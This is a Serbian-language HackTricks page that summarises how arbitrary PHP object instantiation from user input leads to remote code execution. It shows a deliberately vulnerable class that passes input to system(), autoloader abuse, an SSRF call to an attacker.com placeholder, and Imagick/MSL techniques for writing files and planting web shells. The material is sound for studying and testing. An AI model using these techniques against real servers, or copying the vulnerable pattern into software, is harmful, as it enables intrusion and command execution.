6.6 KiB
PHP - RCE zloupotreba kreiranja objekata: new $_GET["a"]($_GET["b"])
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju oglašenu u HackTricks-u ili preuzmete HackTricks u PDF formatu proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Ovo je u osnovi sažetak https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
Uvod
Kreiranje novih proizvoljnih objekata, kao što je new $_GET["a"]($_GET["a"])
, može dovesti do izvršavanja udaljenog koda (RCE), kako je detaljno opisano u writeup-u. Ovaj dokument ističe različite strategije za postizanje RCE-a.
RCE putem prilagođenih klasa ili automatskog učitavanja
Sintaksa new $a($b)
se koristi za instanciranje objekta gde $a
predstavlja ime klase, a $b
je prvi argument koji se prosleđuje konstruktoru. Ove promenljive mogu biti dobijene iz korisničkog unosa kao što su GET/POST, gde mogu biti stringovi ili nizovi, ili iz JSON-a, gde mogu biti drugi tipovi.
Razmotrite sledeći primer koda:
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
U ovom slučaju, postavljanje $a
na App
ili App2
i $b
na sistemsku komandu (npr. uname -a
) rezultira izvršavanjem te komande.
Funkcije automatskog učitavanja mogu biti iskorišćene ako nema takvih klasa koje su direktno dostupne. Ove funkcije automatski učitavaju klase iz fajlova kada su potrebne i definišu se koristeći spl_autoload_register
ili __autoload
:
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
Ponašanje automatskog učitavanja varira sa verzijama PHP-a, nudeći različite mogućnosti RCE-a.
RCE putem ugrađenih klasa
Ako nemate prilagođene klase ili autoloadere, ugrađene PHP klase mogu biti dovoljne za RCE. Broj ovih klasa varira između 100 i 200, zavisno od verzije PHP-a i ekstenzija. Mogu se izlistati koristeći get_declared_classes()
.
Konstruktori od interesa mogu se identifikovati kroz reflection API, kao što je prikazano u sledećem primeru i linku https://3v4l.org/2JEGF.
RCE putem određenih metoda uključuje:
SSRF + deserijalizacija Phar
Klasa SplFileObject
omogućava SSRF putem svog konstruktora, omogućavajući konekcije ka bilo kojem URL-u:
new SplFileObject('http://attacker.com/');
SSRF može dovesti do napada deserializacije u verzijama PHP-a prije 8.0 korišćenjem Phar protokola.
Iskorišćavanje PDO-a
Konstruktor klase PDO omogućava povezivanje sa bazama podataka putem DSN stringova, što potencijalno omogućava kreiranje datoteka ili druge interakcije:
new PDO("sqlite:/tmp/test.txt")
SoapClient/SimpleXMLElement XXE
Verzije PHP-a do 5.3.22 i 5.4.12 bile su podložne XXE napadima putem konstruktora SoapClient
i SimpleXMLElement
, u zavisnosti od verzije libxml2.
RCE putem Imagick ekstenzije
Analizom zavisnosti projekta, otkriveno je da se Imagick može iskoristiti za izvršavanje komandi instanciranjem novih objekata. Ovo pruža mogućnost iskorišćavanja ranjivosti.
VID parser
Identifikovana je mogućnost parsera VID-a da piše sadržaj na bilo koju određenu putanju u fajl sistemu. Ovo može dovesti do postavljanja PHP šel-a u direktorijum koji je dostupan preko web-a, postižući izvršavanje udaljenog koda (RCE).
VID Parser + Slanje fajla
Primećeno je da PHP privremeno čuva poslate fajlove u /tmp/phpXXXXXX
. VID parser u Imagick-u, koristeći protokol msl, može da rukuje džokerima u putanjama fajlova, olakšavajući prenos privremenog fajla na odabranu lokaciju. Ovaj metod pruža dodatni pristup za postizanje proizvoljnog pisanja fajlova u fajl sistemu.
PHP pad + Brute Force
Metod opisan u originalnom opisu uključuje slanje fajlova koji izazivaju pad servera pre brisanja. Brute force-ovanjem naziva privremenog fajla, postaje moguće da Imagick izvrši proizvoljni PHP kod. Međutim, ova tehnika je efikasna samo u zastareloj verziji ImageMagick-a.
Reference
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu, proverite SUBSCRIPTION PLANS!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitter-u 🐦 @carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.